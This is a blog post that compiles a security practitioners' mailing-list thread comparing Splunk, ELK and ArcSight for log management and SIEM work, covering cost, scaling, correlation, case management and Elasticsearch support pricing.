  * Adds ‘context’ for the analysis of IDS alerts \(so searches must be relatively fast, aka not 10 minutes per search\)
  * Incident response : use IOCs to search for other victims, grouping must be possible \(like group all source\_ip’s\)
  * 2 possible modes: data comes in live \(production environment\) , data is batch imported \(external-incident response\)

**Volume:**

  * Around 30 GB of data / day cleartext

What technical, usability and price/quality pro’s and contra’s would  
you have for

  * Splunk
  * ELK \(Elasticsearch, Logstash, Kibana\)
  * ArcSight

The goal here is not to be greedy with money. So if ELK is chosen we  
will buy support and spend the ‘license price’ in a  
consultancy/development investment.

I already have limited experience with Splunk and ELK, none with ArcSight.

Thanks a lot\!  
-Sam
* * *
I would take the ELK route. ArcSight is going to get very expensive, very
quickly. Since you will have to pay per how much you’re pumping into it. Same
goes for splunk. Your dollars will most likely be better spent with ELK. **ELK
is very scaleable** so should you want to add more log sources and your
current set up can’t handle it…you just buy another machine and add it to the
cluster. It’s a very simple process. You can also send almost any log format
into ELK as long as you dedicate a little time to create “filters” inside
logstash that normalize the data. I’ve found the configuration of these
filters to be very simple and work better for when you have weird logs coming
in. With arcsight you’ll probably have to deal with “Smart Connectors” which
are used to do the parsing of the logs. You can make custom connectors but ELK
seems to be the simplest with how easily you can filter logs.

**If you have 30Gb’s a day then thats only about 900Gb’s a month. If you buy
just ONE Dell PowerEdge r720 and max it out, you will have 32TB’s of disk
space. This means on just one box you will be able to retain almost 3 years of
logs. You just won’t get that type of retention elsewhere.**  
**\- detection of \(targeted\) malware and attacks \(also needs to be**  
**able to automate searches based on IOCs, can be scripted\):**

Use Kibana to set up queries and automate it/build dashboards and they will
run on whatever interval you decide. These are fairly easy to set up. I
believe it even supports sending sms or email alerts if things start popping
off.  
**\- adds ‘context’ for the analysis of IDS alerts \(so searches must be**  
**relatively fast, aka not 10 minutes per search\):**

In my experience of using ELK…It’s fast. Much faster than ArcSight ever was. I
hear they are moving to the new CORR database though and the demo’s i’ve seen
of it are fast. Splunk….splunk has always been very fast.  
**\- Incident response : use IOCs to search for other victims, grouping**  
**must be possible \(like group all source\_ip’s\):**

ELK does this naturally and it’s very simple. You could easily do a query to
see all hosts that reached out to a certain domain over the last X days and
very quickly you will know every host as long as the logs are making it into
ElasticSearch.  
**\- 2 possible modes: data comes in live \(production environment\) , data**  
**is batch imported \(external-incident response\):**

Very easy to configure any type of log to be sent to ELK. You can also very
quickly spin up logstash and start sending logs to the logstash server adhoc.
A big part of why Logstash is so successful is that it gives you options on
how to get logs to the server. You can run the logstash agent on devices and
it will “ship” logs to the central server, you can configure syslog using
rsyslog, syslog-ng, or other syslog tools to send syslog to the central
server, or you can use **Lumberjack which has the ability to ship logs from
devices and encrypt the traffic** so that the logs can’t be read over the
wire.  
**WARNING:** With any of these solutions, I HIGHLY suggest that you dedicate a
person full time to maintaining the logs coming in and the health of the
servers. Their role will be to create the filters that make logs query-able,
configure deceives to send logs to the central logging server, make sure disk
and CPU are being used adequately.

> TL;DR Go ahead and buy as many Dell PowerEdge r720′s as you can, max them
> out, get someone in to teach you all about how amazing ELK is. Then make
> sure someone has the cycles to maintain the logs coming in and the system
> health of the servers. Buy the logstash book it’s a great starter guide.
I wish you the best of luck\!

\- Doug

* * *
At $dayjob we use both Splunk and Arcsight. Although we’re only starting to
implement Arcsight \(ESM + Logger\) now, and my impressions are rather
superficial, here they are:  
With Arcsight the first decision you will have to make is whether you want
physical or software appliances. You have typically two components, a logger,
and an ESM \(or an express appliance which is a mix of both\).

**Physical appliances will limit your storage options** , heavily. Software
appliances are basically VMs.

Logger does log management \(surprise\!\) and provides basic analysis
capabilities \(I would say they are trying to mimic Splunk since logger 5\).

Licensing model is **deliberately confusing** , or at least it was when we
bought it. Logger uses different metrics for the licensing than ESM. EPS vs
GB/day. At some point they also use “monitored devices” for licensing. Oh and
also concurrent users of the console. They also charge for that.

http://www8.hp.com/us/en/software-solutions/arcsight-logger-log-
management/tech-specs.html

http://www8.hp.com/us/en/software-solutions/arcsight-esm-enterprise-security-
management/tech-specs.html

Correlation appears to be decent and works as advertised so far, but we have
only implemented the basic use cases, bruteforce, etc.

It has some neat visualizations out of the box.

The console is java based. There are also “read only” and feature stripped web
interfaces.

**Price wise, it is the most expensive.** Scaling it is also expensive. You
might have to swap from physical to virtual appliances, etc.

“It’s not for big data stuff”, “you cannot just throw all your logs at it, you
have to filter”. You get these warnings from $consultancy when you are about
to implement.

From my PoV it is aimed at first level SoC and mostly searching for “known
bads”, and tracking them **\(it has a case management tool built in\)**.

Splunk:  
**License is pricey, but it’s worth it \(probably not as expensive as
arcsight\). It is also more transparent. You get X GB/day, you can have as
many analysts as you want looking a it, and can come from an unlimited number
of devices.**

Data analysis capabilities are better compared to Arcsight and Logger.
**Splunk search language is powerful.**

Visualization capabilities are definitely better than Arcsight and Logger, but
not so “out of the box” for some use cases e.g. visualizing alerts in terms of
origin and affected objects \(unless you buy or get splunk apps that have
already done the visualization bit\). You can even use d3js for visualizations
now. To me, visualization is rather important.

Newer versions allow you to pivot on data with a functionality similar to
excel pivot tables.

**Correlations are slightly more complicated than with Arcsight.**

If you want to, for example, search your historical logs for lists of
indicators, it is probably the best tool between the two.

Web interface.

It’s also easy to scale to reduce the time of your searches.  
It makes my life easier and helps model cases to feed into Arcsight.

Fully scriptable, you can add context with lookups. REST API. And sdks for
multiple languages and web frameworks.

More of an analyst framework than a SIEM per se, but will fulfil a lot of the
tasks that a SIEM does easily.  
ELK stack:  
Only starting to play with it now hence I cannot provide educated feedback. I
am primarily looking into it for “secondary” logs that I cannot afford \(yet\)
to have in Splunk.

My $0.02 ~ 0.014 Eur.

Happy to receive feedback, since my experience is limited by time/effort
constraints.

\- Randall

* * *
+1 to Sam’s points. Right on target.

One caveat to note is that Splunk in it’s current maturity \(especially with
the Enterprise Security app\) is a lot closer to being **“ready to go” out of
the box.** Since time is an issue, you may want to seriously consider a Splunk
deployment as a short term plan \(year+\); then slowly work ELK into what you
want as a long term, scalable, management system.

Also consider long term storage, I.e duplicating streams for long term
retention into something “big data”. That will likely help in the long term
with queries in your “main” solution.

-Kent
* * *
> So far in this thread we have seen a few key factors mentioned:
>   * ElasticSearch is very scaleable
>   * The purchase of any of these technologies should come with personnel to
> administer the technology
>   * ArcSight’s pricing model can be very confusing
>   * ArcSight is probably the most expensive of the three options
>   * Splunk is very close to being ready “Out of the Box”
>

* * *
Love this thread. These are some of the decisions we are struggling with right
now. We have been using ArcSight for years at $dayjob, so if you or anyone
wants to talk specifics let me know. Just some high-level observations:

**ArcSight ESM is great for SOC-type work.** When you need real-time
correlation, automation and workflow to support multiple people across
multiple tiers \(L1, L2, etc\) working cases together it really shines. For
example, we have a number of regex-based rules looking for exploit kit hits,
followed by downloads of exe to suggest successful compromise. **I don’t know
how you would do these multi-stage correlation with a “search” type product,
which is what I consider ELK and Splunk to be** , but I could be wrong.

**ArcSight Logger has been trying to catch up to Splunk for years, but they
are always 2-3 years behind** across all functionality Right now we are
suffering with being unable to scale storage/search large volumes of data, so
are looking into ELK/Hadoop. For example, we collect about **250M-275M proxy
logs entries per day**. Can’t use Logger to search across more than 3-5 days
at a time before **queries start taking too long to complete or timing out.**
Not exactly acceptable in my book and I am not even talking about
visualization/dashboards. Those are non-existent. I’ve had a number of
conversations with a lot of folks there and they obviously know about this and
have been making some advancements, especially with recent changes in product
management, but that’s still at least a year from being seen in the product.

As a result of the above issues **our current plan is to stream logs into
Hadoop and then run ELK on top snce ELK can read/index data form HDFS**. Doing
this instead of just straight ELK because longer term we think we’ll want to
run other tools on the data in Hadoop, specifically for visualization that ELK
can’t do, or machine-learning type jobs for which we’d need MapReduce
functionality.

Love this thread and other recent threads on ELK, so let’s keep it going.

* * *
Can you give example of what kind of workflows you’re managing with ArchSight?
Is it only search/correlation or also business-logic, report, collaboration,
etc?

-Michael
* * *
<disclaimer> Have only worked with Splunk </disclaimer>

One area that I immediately thought of in your use cases was host-based
capabilities. I know that’s not part of the original equation, but I’d be
curious to know if ELK would be cost effective enough to also consider a host-
based \(CarbonBlack, Tanium, etc.\) logging solution \(if not already
present\). Anyone else have any idea about that?

If you’re looking for possible context, hunting capability via a wider range
of IOCs, etc. Then it would be a huge benefit to get those logs feeding in as
well.

Just a tertiary thought.

-Steve
* * *
In my opinion, the two platforms you are looking at can be apples and oranges
depending in how you implement. I think the answer to your question lies in
the amount of resources you have to dedicate to either. ArcSite – as with any
other siem – requires care and feeding, but the limitations of that tool also
have a limiting effect on the run rate and effort required to realize value.

Splunk is a different animal. It is **vastly more powerful than a siem, but
requires a large up-front investment in people, process, and tech** to provide
the same level of value a siem will out of the box. You are then able to take
it well beyond, into some very cool stuff.

-Robert
* * *
To add to the apples & oranges argument, I think it’s worthwhile that IMO
**Splunk’s not a SIEM and ArcSight \(or any other SIEM\) are not log
managers/log searchers.** Two different things, two different use cases and
two different approaches.

If you’re into free-form, human driven, what-if searches and explorations then
Splunk \(or any other free-form log manipulation toolset\) will fare much
better. Setting up alerting utilizing regexes and defined known-bad strings in
a SIEM is not the same, your success comes from the intelligence the human
users running it have.  
If you want workflow-driven, automated, audit-able and repeatable first-line
alerting for well defined conditions**\(and running defined regexe’s against
data realtime is defined conditions IMO\) then you’ll fare better with a
SIEM.** You won’t do as good if you want to drill into any of the great
patterns provided on this list on the fly with most SIEMs though; Splunk et al
will most likely outperform.

At the end of the day it’s your usecase, and your human resources that are the
factors here. **At $dayjob we run both approaches, as Splunk’s not providing
the strict framework we need for BAU activities while the SIEMs we
checked/deploy do not fare as good with free-range searches.**

-Randy
* * *
Has anyone considered some way to manage multiple analysts? I’m trying to
figure out how to allow**collaboration between different domain experts
working on the same incident**.

-Michael
* * *
That’s what I meant in my earlier post with workflow vs go-nuts searches. If
you do the latter, you probably need a very robust ticketing system that can
be used to attach logs, data, screenshots etc. while keeping access rights
controlled. Very different problem space :\)

-Randy
* * *
> As the conversation progressed, the following opinions surfaced:
>   * ArcSight’s Logger technology seems to be trying to catch up to Splunk
> and just can’t compete.
>   * ArcSight’s Logger tends to time out or take hours/days to pull back data
> based on queries
>   * ArcSight works well when a team needs to have multiple analyst working
> on an incident. \(Decent case management structure designed to aid SOCs\)
>   * Splunk and ELK don’t appear to be strict enough to assist in
> audit/compliance tracking
>

* * *
+1 to Roberts points here.

**ELK seems an ideal longer term and retroactive alerting/search**  
**platform… between that and splunk is more of a religious debate as**  
**the functionality is very similar.** This may very well be all that is  
required depending upon your IR capabilities and overall maturity. It  
“can do” nearly everything ArcSight can do, and this capability  
\(longer term retention with the ability to run queries and searches\)  
is a required first step as often you won’t have proactive  
indicators/signatures.

**A well tuned SIEM is worth the investment in time and energy to**  
**facilitate top level time sensitive alerting and correlation rule**  
**application.** Yes, the log normalization and optimization is a bit time  
consuming at first, but the ability to watch it light up like a  
Christmas tree in real time as you detect every piece of an  
adversaries attack is priceless, g**ap analysis in your defenses is**  
**almost instinctive in a properly tuned SIEM** , as well as the ability to  
perform very quick triage and preliminary DFIR investigation.

**If you must chose ONE I’d go Splunk/ELK \(Disclaimer I don’t have**  
**direct experience with ELK used in this way…\)** or similar solution  
which allows for retroactive alerting off of chron’ed searches/queries  
and IOC ingestion.

Ideally this will be topped by a **minimal retention \(3-5 days\) SIEM**  
**deployment in which your Intrusion Analysts can live, pivot, and**  
**triage**. I love ArcSight, it quickly becomes a part of you if you  
harness it’s capabilities. I’d **stay away from NITRO like the plague** or  
anything which attempts to tell YOU what’s bad/normalize internally  
based on opaque criteria, but anything that allows for effective  
“active lists” “active channels” and boolean filter/query/alerting  
creation is a great front end.

**TL:DR: If you are mature enough to actionably respond to real time**  
**alerting at scale, and constantly evolve those criteria based on**  
**threat intel you want a SIEM on top of the required Longer term**  
**logstorage/search/investigation platform \(Splunk/ELK\).**

\- Troy

* * *
As others have mentioned, beyond actually “using” the technology, carefully
consider **who is going to** **operate & maintain the system\(s\)**; this is
often overlooked. In my experience some platforms are easier than others, but
all require it.

If you don’t have a body to do maintenance and optimization, **look at getting
some managed support service from a vendo** r. Short term you can get
usability out of the system until you can get body\(s\) in-house to operate.

-Nathan
* * *
At $dayjob we have both Splunk and ArcSight and I agree with the difference in
usage. Ad Hoc searches v.s. workflow, automation etc.

Great note by Nathan, both get up and digesting standard logs quickly giving
75% solution in my opinion. The rest will take talent and/or vendor support.

Every shop has resource constraints that they have to operate within. $dayjob
prefers to put the money toward vendor support and we still have flexibility
with these tools. This abstracts the technology from the individuals building
the system to help ease support and transition.

I admit my ELK experience is limited. That said I am building out my custom
platform with ELK and see how it handles.

Thanks to all for the insight. We can open source our entire infrastructure
but we can not reallocate those savings for additional people. So $dayjob
chose to use the money and get vendor expertise, although your mileage may
vary…

-Jerry
* * *
That’s a great point Nathan. **The cap-ex vs op-ex issue is very real.**

Beyond the bare minimum \(network sensors and a log storage mechanism  
for incoming web/email/dns/AV/access logs\).**I’d take people over**  
**product all day lon** g. Having millions in tools and watching thousands  
of alerts fall on the floor daily is not a good time.  
We’re moving forward, but right now comprehensive netsec is still a  
**human driven game** though the force multipliers \(tools\) are becoming  
much more effective … I think an honest accounting of your staff’s  
core competencies is required prior, and I’d be careful to rely on any  
single points of failure on the personnel side.. especially in  
critical roles.

Replacing highly skilled folks in this environment is a time intensive  
and expensive process as the industry is not standardized/mature…  
there should at least be some available talent out there for  
ArcSight/Splunk given the install base. Some of the more cutting edge  
and/or**custom solutions carry a much higher risk on the personnel side**  
**finding the right mix of sec-analyst/engineer/developer is neigh**  
**impossible.**

-Troy
* * *
I wanted to chime in here on some general lessons from doing a SIEM
deployment, and learning along the way. I didn’t use either of the products
mentioned in the thread, but I thought that this may be helpful.

Your use cases fall into two categories, which I will call online \(live,
streaming, logs as they are coming in\), and offline \(searching historical
logs for newly identified indicators\). I do both of these with a tool that
wasn’t really designed to do both.

**TL;DR:**  
**given the choice, allocate more money toward analyst salaries and less
toward software.**  
**You need dedicated people for the care and feeding of the solution itself
\(admins/engineers\) besides analysts to process that data**  
**Focus on a good flexible ‘back-end-database-ish” solution, and build on top
of it.**  
Use VIPs for Syslog, because syslogs can be easily dropped  
over-spec your LPD/EPS. The solution will always expand, it will never
contract.  
For example:  
The tool that we use at $dayjob now is designed to be a live alerting SIEM. It
is built on top of MS SQL Server, and the architecture is great for live
alerting. That is what they designed it for. The rules language is powerful
and it is easy to use. The limitation is the historical search capabilities.

The tool we used at $PreviousDayJob was a great distributed database and could
return searches in no time flat. We put something else on top of it to do the
SIEM analysis. The direct SQLish access was great for our analyst to build his
own scripts to query against.  
General:  
**Lesson \#1: “offline” Searching the last “N Days” of logs is much different
than alarming and alerting on logs as they come in. They are very different.**  
**Lesson \#2: Not all tools do both “online” and “offline” well, some do both
mediocre and neither well, some do one well and the other not so much**

Architecture:  
Lesson \#1: There are limitations to VM deployments and SAN architecture that
will show up in high volume log capture and SIEM deployments. Appliances are
more expensive, but can be higher performance. SAN/VM deployments can be
cheaper, but you have to be mindful of performance.  
Lesson \#2: The time it takes your people \(or consultants\) to tune and
optimize the VM infrastructure may make it worth purchasing appliances  
Lesson \#3: Regardless of which you choose, you will need more of it than you
think, more of it than you estimate, and more of it than what you think you
know to be the proper log volumes.  
Lesson \#4: Some SIEM solutions just stop accepting logs when they hit their
LPD/EPS/MB limits.  
Lesson \#5: Syslogs can be dropped \(even with NG\). You need to watch network
volumes, especially on VM’s. You probably want to use a VIP for log collection
if you have high volume syslogs.  
Lesson \#6: Make a list of every device you own, and get a sample of the log.
Make it part of the contract that they actually can parse each of those log
source types into the fields you want.

Use Cases:  
Lesson \#1: Regression searches are not built in to most platforms \(e.g
Search for one IP address, find all sources that communicated with that
malicious IP, find all IP’s that communicated with those source IP’s, filter
out known \(e.g. Google, Yahoo, known corporate partners\), etc.\). You will
have to build this yourself.

Lesson \#2: A good analyst is worth more than any product. If you have your
choice of allocations, more analysts is better than a more complex SIEM engine
to do online alerting.

**Staffing:**  
**Lesson \#1: You need separate teams of dedicated analysts to process the
data, and engineer/admins to administer the platform and keep it running**

* * *
I concur that log management/search is a different core capability fromSIEM.
As the vendors in different spaces have matured, they have added more features
of the other \(e.g **Splunk is becoming more SIEM-like**\).

For starting out, I’m in the camp of getting your arms around the security  
significant logs first for IR purposes, then layering in whatever alerting  
is necessary to move forward.**This drives me to start with Splunk/ELK.**  
**Each time I’ve stood this up, we found that we got to 85-90% of the total**  
**goal of the capability \(log collection + correlation + alerting\), and
the**  
**additional cost required to stand up a SIEM on top wasn’t worth the**  
**additional value. More/Better analysts has always been our choice.**

Agreed that Splunk/ELK is a bit of a religious war, and I think they  
provide very similar capabilities. From my experience, I have seen Splunk  
do well for a couple core reasons \(each of these in my experienceŠnot  
necessarily universal\):

  * **It has been more stable**
  * **Easier to onboard data \(DBConnect, Universal Forwarder, scripted inputs\). More user friendly to define field extractions/normalization after indexing**
  * **More support from the vendor**
  * **Better acceptance rate from analysts \(Partly due to going through training but the search language also seems a bit easier\)**
  * **Enterprise Security \(ES\) app, which is a premium app, provides some of the capabilities typically found in a SIEM. It also has a reasonable threat feed framework which is easily extensible.**

Nothing’s a silver bullet, but that’s my .00004BC

-Jack
\#\#\#\#\#

**TL;DR – Go with ELK. Spend your money on a few servers and professional
services for implementation.**

I’ve been there, done that, with all aspects of what you’re asking. The “you
need to spend it now” aspect is always a good time. Others have pointed out
cap-ex vs op-ex, but it’s important to understand if this is a one-time pot of
money or a perpetual bump. **If it’s just one time, then your commercial
products simply aren’t an option.** Both ArcSight and Splunk have a
**significant annual spend aspect**. Further, those costs will only increase
with time/amount of events. **Buy a bunch of servers, some proserv to help you
get ELK all set up, and call it a day.**

Setting aside the money aspect, the other thing I’ve been through is having
used all tools you mention in a larger environment, so I’ll try and walk
through our experiences with them.

We used to rely solely on ArcSight ESM. **That might have worked eight years
ago, but even six years ago it couldn’t keep up.** It was barely able to keep
up with the event throughput you’re asking about. While they have worked on
event throughput, they have a fundamental architecture issue. ESM **cannot
scale beyond a single “app” server**. This means all of the correlation
aspects can only scale to the largest Linux capable server you can find. On
top of that, the rules language is nonsense and **you’ll need to send people
to training to get the most out of it.** We added ArcSight Logger about four
years ago \(pretty much when it came out\) to get reasonable event retention,
but **even with 8 servers, it was dropping events and searching was stupid
slow \(24 hours to search over 14 days of data – searching for anything longer
would cause the logger to crash\)**. And even with all that we had spent on
ArcSight \(it was a lot\), we weren’t even really using the event correlation
capability. It was doing stupid things like X logins in Y minutes, but that
doesn’t need to be done real time. A year and a half ago, we walked away from
all things ArcSight.

Our grand design for ArcSight replacement was a **combination of Splunk and
Hadoop. We dual stream events into Splunk and Hadoop simultaneously and then
set a retention in Splunk to drop events after 90 days.** We shoehorned event
correlation into Splunk with a combination of saved searches and a home-grown
system sitting outside of Splunk that takes the results, does some
aggregation, and then sends the results as alerts into our case management
system. Hadoop is long term event retention as well as larger
correlation/analysis jobs. For instance, **we automatically mail all admins a
list of their logins for the last 24 hours so they can spot any
inconsistencies.**

Hadoop works really well for retention and bigger jobs. **About 6 months ago,
we realized we had some issues with Splunk. One of them is that its**
**scalability and high availability seems bolted on. Plus, indexers have
pretty heavy IO requirements, so your servers are spendy. As our EPS kept
increasing, we were teetering on a decision point, faced with having to buy
another $25k server. Looking at all that, we’ve made a decision to walk away
from Splunk. For what it’s worth, we’re pushing about 150k EPS today.**

**Our new design is ELK + Hadoop + Spark + custom event normalizer. The nice
thing about this approach is that it is highly scalable \(just add more cheap
servers\) and 100% open source.** This means that our data is **100% free to
do with as we please.** We don’t have to worry about future flexibility as our
data isn’t locked up. With the way that ELK, Hadoop, and Spark scale, we’re
shooting for something in the range of **1M Events Per Second and everything
tells us it’s doable**. We use ElasticSearch for another open source project
\(moloch full packet capture\) and it scales very well performance wise \(we
can search across 60TB of data in less than a minute, and searches for shorter
time windows do come back in seconds\). We’re not yet using percolators, but
they have been designed for simple rules based triggers.

**Right alongside our ELK install in the new architecture. We dual deliver
\(Flume for HDFS and Logstash for ElasticSearch\) to both our short term event
search system \(ELK\) and to our analysis and repository \(Hadoop\). We use
Cloudera Enterprise for HDFS, MapReduce, Impala, and Spark. The management
interface makes spinning up new cluster nodes or new products/features very
trivial.**

**Ultimately, I can’t speak highly enough for ELK. It’s come a long way in a
year, and there’s even cooler stuff on the horizon. We’re very happy with what
we’ve seen thus far and it’s a critical part of our new log management
system.**

A few recommendations:

  1. Don’t use VMs for ElasticSearch. It -might- be possible to make it work, but we tried VMs and then switched to physical hardware. Lots of stability issues we had just magically disappeared.
  2. Invest a bit in ElasticSearch’s “developer” support for ELK. It’s essentially a PS engagement for a few months to help you get it all set up and tuned correctly. ElasticSearch also offers ongoing support, but it’s that developer support that will help you hit the ground running.
  3. Use many, cheap boxes. ES scales horizontally quite nicely. We spend roughly $4k per box and we don’t have to think twice if we need more capacity. This also means you don’t have to buy today for what you’re expecting a year from now. You can just buy for today and then add more tomorrow.

Once we actually have all of our new system laid out, I’d be happy to share if
people are interested. We’re planning on open sourcing the event normalizer so
that the whole thing is all open source.

* * *
> At this point it seems that ArcSight has won the hearts of those who want to
> create a formalized and tiered Security Operations Center but ELK/Splunk
> type tools provide a more adaptable, dynamic, and innovative platform. Some
> believe Security Operation Centers should use SIEM technologies such as
> ArcSight for only a few days worth of live/real-time event alerting and
> leave log management/historical needs to ELK or Splunk:
>   * More talk on who will administer the technology you choose
>   * It seems that people use tools such as ArcSight or ELK/Splunk as both
> Log managment tools and SIEMs
>   * If your current security program is mostly human driven \(someone
> retroactively searching for evil\) go with an ELK or Splunk instance
>   * If your program is mature enough to respond to security incidents in
> real time at large scale, a SIEM may be the right move.
>

>   * “ElasticSearch scales horizontally quite nicely. We spend roughly $4k
> per box and we don’t have to think twice if we need more capacity. This also
> means you don’t have to buy today for what you’re expecting a year from now.
> You can just buy for today and then add more tomorrow.”
>

>   * I believe that this statement holds a lot of truth, “If you must chose
> ONE I’d go Splunk/ELK \(Disclaimer I don’t have direct experience with ELK
> used in this way…\) or similar solution which allows for retroactive
> alerting off of chron’ed searches/queries and IOC ingestion. Ideally this
> will be topped by a minimal retention \(3-5 days\) SIEM deployment in which
> your Intrusion Analysts can live, pivot, and triage. I love ArcSight, it
> quickly becomes a part of you if you harness it’s capabilities. I’d stay
> away from NITRO like the plague or anything which attempts to tell YOU
> what’s bad/normalize internally based on opaque criteria”
>

* * *
I hope not to offend with this, but…

**Temper your expectation of Splunk Professional Services** – especially on
the security side. They are perfect for deployment-type, operational tasks,
but fall down with anything complex or advanced…we went through several before
we gave up and started requesting engineers.

Having said that, Fred Wilmot at Splunk is maybe one of the smartest people I
know. They have brilliant folks, you just have to ask.

-Robert
* * *
**Agreed, not meant to offend either but my experience with PS was less**  
**than satisfactory.**

**They struggled with basics, like field extractions, regex, and even**  
**their own application.** Sadly, we’ve never had a working ES install; but  
I did utilize their TAs heavily. Be wary of their RegEx, it may work for  
most, but taking a few minutes to check the transforms you use is well  
worth it.

**I love Splunk, and spend most of my day hunting through 180 days of**  
**data.** I also invested a good bit of time field extracting as much as I  
could, in a way we can use the CIM to search through as much data  
effectively as possible.

\- Matt

* * *
> Next, the discussion shifts to whether or not a SIEM type solution could be
> hosted in the cloud.
* * *
I’ve noticed **server-investment raised a few times** , and it is indeed a
hassle for me too. Has anyone ever considered **building their SIEM solution
in the cloud?**

-Michael
* * *
Whilst it is possible to do \(you can certainly do it with ArcSight and I see
no reason why you can’t do it with the others\), there would be a few
considerations \(one might be the delivery of logs in a timely manner if you
have large amounts of data going into the cloud such as Firewall logs\) and of
course you also **need to be blessed by your regulators to do it \(if you are
subject to the fantastic joy which is regulation\).**

-Trevor
* * *
I am guessing uploading to cloud will be as fast as routing to private-cloud
SIEM in a central location. Especially for global orgs.

Anyone running cloud-based SIEM and would be willing to share his experience,
here or privately?

-Michael
* * *
We’ve played with Storm a bit \(**Splunk’s cloud offering**\), but not
seriously. I have a friend who gets great use out of it as a log repo for
various honeypots, but nothing more serious than that. It can be a bit
delayed, depending on a number of factors.

While we’re talking about cloud here, I’d love to know how folks are getting
logs from cloud providers to their store. We’ve not yet found an elegant way
to do this for a couple of our providers…and they aren’t exactly helping.

-Robert
* * *
I would **take a look at sumo logic, it was built by the original developers
of ArcSight** who wanted to do cloud SIEM right.

I’ve seen many attempts to run SIEM in a virtualized environment and almost
all of them failed.

**I would strongly recommend against it unless your using a built from the
ground up cloud product like sumo logic, loggly, Splunk cloud etc**.

-Mike
* * *
One more product that might be of interest.

There is one company that has a solution that is somewhat similar to the
structure of ELK \(in that it uses nodes for compute and storage distributing
both the DB and CPU across commodity systems\).**It used to be known by the
name “Sensage”, but now goes by Hawkeye.** I received a sales call from these
guys a while back and they were doing a makeover of Sensage into a full
fledged SIEM. **I know that the old Sensage was a good platform for log
storage and queries/reporting, but I know nothing about the “new hotness” from
Hexis that uses it as a back end.**

http://www.hexiscyber.com/products/hawkeye-ap/extending-your-existing-siem

-John
* * *
**Maybe the best answer is to look into using both in your infrastructure** \-
In my experience, Splunk is a very powerful tool for initial aggregation and
high-level analysis of data. I use it pretty often for **gluing different data
sets together and prototyping ideas, as it’s very tolerant of different log
formats** \(check out cefkv add-on for processing ArcSight CEF files\). Then I
usually **implement the prototypes into production analytics using open source
stacks such as ElasticSearch or Hadoop.**

If you’re building custom analytics or processes to search and act on data at
near real-time speeds, **I’d check out ElasticSearch \(neat statistics
capabilities, and great free-text search\)**. If you’re feeling really
ambitious Apache Storm or Druid.io for large scale statistics. **If you don’t
have a dedicated development team but want to build interactive workflows you
can still do quite a bit using Splunk.**

-Elon
* * *
It seems like there are several different type of product functionality being
discussed:

  * **Data aggregation:**  
\- Splunk, ELK, NetWitness, etc.

    * Log collection
    * Packet collection
  * **Threat detection:**  
\- Seems to be mainly open source/home-grown solutions.

    * Data enrichment
    * Threat intelligence
    * Correlation functionality
  * **Work-flow:**  
\- Seems to be ArcSight, but high overlap with Splunk… What else is in here?

    * Audit trail / Work-logging
    * Collaboration
    * I’m not sure what else goes here, but gut says this is  _important_. Ideas?

Anything else I missed?

It seems that putting this all under the umbrella of “SIEM” doesn’t cut it
anymore. Too many different requirements for one vendor to cover well. What
else do you think is missing? Do you have any recommendations for every domain
separately? How do you manage all the different solutions? What’s missing?
Maybe there’s a place for some open source development?

-Michael
* * *
Good call in pulling these out into different categories. **We often use SIEM
to describe all of these as one thing but it’s clear that we should be moving
away from that in both discussion and in practice.** The reason **ArcSight
fails at it’s job is because it tries to solve $WORKFLOW, $THREAT-DETECTION,
and $DATA-AGGREGATION**. I’d propose changing $WORKFLOW to the term $CASE-
MANAGEMENT. Workflow could mean interacting with multiple tools but what we
are really talking about is case management. **Tools that I see being under
the $CASE-MANAGEMENT section include things like:**

  * Jira | https://ucdavis.jira.com/wiki/display/PMO/Computer+Security+Incident+Response+Capability
  * ArcSight | Lots of case management/ticket system functionality for incidents
  * RSA Archer | Case management tool to track incidents, keep audit trail, collaborate on incidents

I’m sure many others can add to my limited list.

**The day we stop buying SIEM’s to solve all 3 problems and use \(ELK or
Splunk + Jira + Netwitness or Moloch + \(Snort, host based detection, real-
time sandbox detection, etc\) will be a good day.**

-Doug
* * *
Here’s how we look at it \(I tried ascii art, but failed\):

Log collection \(rsyslog + custom log fetchers where needed\) feeds into log
aggregation \(rsyslog\) which feeds into log normalization \(to be finalized,
we have POC code now\). **The normalization tier is a bus that simultaneously
feeds log search \(ES\) and log retention \(Hadoop\) and log
correlation/alerting \(Spark\) and log enrichment \(this is where threat feeds
fit in\).** Enrichment does its thing and feeds back into log aggregation with
the original log line added to the new enrichment \(which all feeds back
through the search/retention/correlation/alerting layer\). **Alerting then
feeds into our case management system, which does include workflow, contact
management, etc \(this last bit is a $DayJob app, which we’ll be sharing for
free soonish\).** The alerts will include enriched data, as well as pre-
populated searches back into ES for easy investigations. Hadoop is there for
long term retention and also running analysis jobs.

* * *
Btw, for those interested. Below is an overview of the approximate prices of
Elasticsearch support.

Platinum support: 1h/4h/1d response  
\- per node 9k EUR  
\- 10 nodes : 45k EUR  
\- 25 nodes: 102k EUR

Gold: 4h/1d/2d response  
\- per node 6k EUR  
\- 10 nodes: 30k EUR  
\- 25 nodes: 68k EUR

Silver: 1d/2d/4d response  
\- per node : 3,4k EUR  
\- 10 nodes : 17k EUR  
\- 25 nodes : 38k EUR

Development support: 2d response  
\- 6 months: 20k EUR  
\- 3 months: 13k EUR

They also offer training.

This is fairly reasonable if you compare the total cost of their competitors
\(license + yearly support\)

* * *
**As for the support contracts, I’ll take a moment to note that those are list
prices. There’s wiggle room even at those node counts.** As the node counts go
up, so do the discounts. Unfortunately due to NDA I can’t share what we
negotiated down to on the list \(but **it’s much lower per node than list**\).
For those considering support, decide if platinum is -really- worth it to you.
We’ve got enough redundancy built in that even if one of our clusters
explodes, we can still recover. **Gold support is plenty if you prepare. Oh,
and one other thing, the pricing is per node and per project. That means if
you run, say, logstash on top of ElasticSearch -and- another ElasticSearch
back-ended app, you’ll have to pay double.** I’ve told them several times how
stupid this pricing model is \(we’ve been talking with them for nearly a year
about support\), but they’re very insistent. So be prepared.

> There we have it\! This conversation was one of the best I’ve seen thus far
> on the SIEM vs ELK & Splunk debate. I hope that others out there who are
> building out their security operations program can benefit from the text
> above. Towards the end of the conversation it appears that many analyst
> believe that buying one of these technologies to solve all of your SOC
> problems isn’t the best way to approach the problem. Lot’s of analyst
> believe a shift needs to happen so that SIEM technologies are responsible
> for alerting on real time data within ~a couple weeks. On top of that, Log
> management tools should be used to handle everything past 1 month of data.
> They are designed to take in massive amounts of logs and give analysts the
> ability to hunt retroactively for evil in their environment. Please feel
> free to comment on this post with your thoughts and questions. Thanks to all
> the analysts who took the time to participate in this discussion and provide
> their experience out with the security community\!
### Like this:

Like Loading...

# Reliable discovery and exploitation of Java deserialization vulnerabilities | @ Mediaservice.net Technical Blog
